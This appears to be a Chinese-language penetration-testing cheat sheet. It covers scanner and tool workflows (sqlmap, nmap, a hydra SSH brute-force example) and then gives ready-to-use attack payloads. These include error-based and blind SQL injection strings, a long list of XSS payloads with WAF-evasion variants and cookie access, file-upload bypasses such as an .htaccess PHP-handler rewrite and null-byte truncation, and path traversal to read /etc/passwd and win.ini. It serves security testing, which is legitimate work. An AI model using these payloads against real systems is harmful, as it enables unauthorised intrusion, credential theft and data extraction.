工具流程化:
1、awvs WEB扫描: 分析扫描报告,提取有效漏洞
2、appscan WEB扫描: 分析扫描报告,提取有效漏洞
3、searchsploit(Kali下中间件及对应版本漏洞搜索); 根据漏扫出的中间件banner,使用 searchsploit 查找 banner 及对应的版本存在的漏洞,验证漏洞
4、sqlmap 扫描 burpsuite request日志;
A. burpsuite日志配置:Options->Misc->Logging->Proxy:Requests 设置下保存路径 XXX.txt
B. python sqlmap.py -l 文件名相对路径 --batch --smart
C. 扫描过程中需保持session有效性 D. 其他常用参数:
* -u:目标URL,GET请求需要参数
* -l:读取burpsuite保存的log日志
* -r:读取HTTP请求文件
* -p:指定参数
* -D:指定数据库名
* -T:指定表名
* -C:指定列名
* --data=DATA:指定POST请求中的字符串
* --force-ssl:强制使用HTTPS
* --dbms=DBMS:指定数据库类型
* --level=LEVEL:指定测试等级(1-5,默认1)
* --dbs:列出所有数据库
* --tables:列出所有表
* --columns:列出所有列
* --dump:获取整个表中的数据
* --batch:自动化执行
* --smart:针对目标多的URL进行启发式判断注入
5、burpsuite的扫描scanner模块 把测试过程中,获取到的流量使用burpsuite的scanner模块扫描,分析扫描结果,验证漏洞。
6. burpsuite手工测试找上传功能、下载功能等不常见功能,手工抓包测试。
7.namp主机端口服务安全测试当产品是对外开放时,需要使用nmap对端口服务安全性测试;使用教程:
* 如果Nmap命令中没有指出扫描类型,默认的就是Tcp SYN.但是它需要root/administrator权限nmap -sS 192.168.1.1
* Tcp connect()扫描需要完成三次握手,并且要求调用系统的connect().Tcp connect()扫描技术只适用于找出TCP和UDP端口nmap -sT 192.168.1.1
* UDP扫描不需要发送任何的SYN包,因为这种技术是针对UDP端口的。UDP扫描发送UDP数据包到目标主机,并等待响应,如果返回ICMP不可达的错误消息,说明端口是关闭的,如果得到正确的适当的回应,说明端口是开放的nmap -sU 192.168.1.1
* 有时候Tcp SYN扫描不是最佳的扫描模式,因为有防火墙的存在.目标主机有时候可能有IDS和IPS系统的存在,防火墙会阻止掉SYN数据包。发送一个设置了FIN标志的数据包并不需要完成TCP的握手nmap -sF 192.168.1.8
* PING扫描不同于其它的扫描方式,因为它只用于找出主机是否是存在在网络中的.它不是用来发现是否开放端口的.PING扫描需要ROOT权限,如果用户没有ROOT权限,PING扫描将会使用connect()调用nmap -sP 192.168.1.1
* 版本检测是用来扫描目标主机和端口上运行的软件的版本.它不同于其它的扫描技术,它不是用来扫描目标主机上开放的端口,不过它需要从开放的端口获取信息来判断软件的版本.使用版本检测扫描之前需要先用TCP SYN扫描开放了哪些端口nmap -sV 192.168.1.1
* 如果远程主机有防火墙,IDS和IPS系统,你可以使用-PN命令来确保不ping远程主机,因为有时候防火墙会组织掉ping请求.-PN命令告诉Nmap不用ping远程主机nmap -O -PN 192.168.1.1/24
8.hydra使用方法hydra用法: hydra <参数> <IP地址> <服务名> hydra的参数是区分大小写的. hydra支持的服务有:telnet ftp ssh mysql mssql vnc pcanywhere RDP(3389)等. hydra的一些参数: -R 继续从上一次的进度开始爆破 -s <port> 指定端口 -l <username> 指定登录的用户名 -L <username-list> 指定用户名字典 -p <password> 指定密码 -t <number> 设置线程数 -P <passwd-list> 指定密码字典 -v 显示详细过程 示例: hydra -l root -P /tmp/passwd.txt -t 4 -v 192.168.57.101 ssh #爆破ssh登录密码 sql注入篇注入点的检测方法
1. 数字类型:减法、单引号...
2. 字符类型:三个单引号判断区别、and sleep(10) ...
不同模式的注入方法1、基本模式:union select联合查询database()、version()...2、报错注入
* 常用函数
(1)floor():select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)(2)extractvalue():select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))(3)updatexml():select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))3、盲注
* 基于时间:and sleep(10)
* 基于布尔:and ascii(substring((select password from users limit 1),1,1))>51–+
* 基于错误:
1. PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--
2. MSSQL: /?param=1 and(1)=convert(int,@@version)--
3. Sybase: /?param=1 and(1)=convert(int,@@version)--
4. Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--
* 使用dns获取日志的方法可以有效减少盲注的时间,防止请求过多导致IP被封等情况发生(T00ls);
XSS篇(绕过WAF的检测)
1、初步测试
* 使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等;
* 如果过滤闭合标签,尝试无闭合标签的payload(<b,<i,<marquee)观察响应;
* 使用大小写或双写方式尝试绕过;
* 使用a标签
2、其他测试标签
* <img src=x onerror=prompt(1);>
* <img/src=aaa.jpg onerror=prompt(1);
* <video src=x onerror=prompt(1);>
* <audio src=x onerror=prompt(1);>
* <iframesrc="javascript:alert(2)">
* <form action="Javascript:alert(1)"><input type=submit>
* <svg/onload=prompt(1);>
* <marquee/onstart=confirm(2)>/
* <body onload=prompt(1);>
* <select autofocus onfocus=alert(1)>
* <textarea autofocus onfocus=alert(1)>
* <keygen autofocus onfocus=alert(1)>
* <video><source onerror="javascript:alert(1)">
* <q/oncut=alert(1)>
3、其他绕过姿势
* 实体解码:</script><script>alert(1)</script>
* 闭合value属性:" onmouseover="prompt(0) x="
* 关键字变形方式:
javascript:alert(1) javaSCRIPT:alert(1) JaVaScRipT:alert(1) javas	cript:\u0061lert(1); javascript:\u0061lert(1) javascript:alert(document.cookie) // AsharJaved
* ";alert(1)//,闭合前面的js
* 空字节:<scri%00pt>alert(1);</scri%00pt>、<scri\x00pt>alert(1);</scri%00pt>、<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
上传篇
1、客户端检测
* 上传时截获请求包,修改后缀名,绕过前端检查
2、服务端MIME检测
* 修改content-type字段内容(或删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意,双引号要跟着C.php。)
3、文件头内容检测
* .JPEG;.JPE;.JPG,”JPGGraphic File”
* .gif,”GIF 89A”
* .zip,”Zip Compressed”
* .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
4、黑名单
* 大小写绕过
* 双重后缀名绕过
* 特殊后缀名(php4)
5、文件重写
* 上传.htaccess重写解析规则
<FliesMatch "xx.gif">SetHandler application/x-httpd-php</FilesMatch>6、其他规则
* %00截断:1.php%00.jpg
7、WAF绕过
* 增加垃圾数据
* 上传多个filename或将filename位置移动到其他位置(安全狗)
* 删除或增加Content-Disposition字段里的空格,或修改大小写
* Boundary边界不一致
* 文件名后回车
8、文件重命名
* 文件名后构造更多的点或特殊符号
9、服务器解析漏洞
* IIS 6:.asp,.asa目录下的文件被解析成asp文件,/xx.asp/xx.jpg;构造xx.asp;jpg,默认不解析;后面的内容
* apache:后缀名从右向左解析漏洞,test.php.php123、test2.php.jpg
* nginx:/1.jpg/1.php、/1.jpg%00.php、/1.jpg/%20\0.php
下载篇目录遍历漏洞,修改请求中相关文件的路径为任意路径,可以通过../../的方法获取到根目录,再读取任意位置的文件win:..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.inilinux:
/etc/passwd
网友评论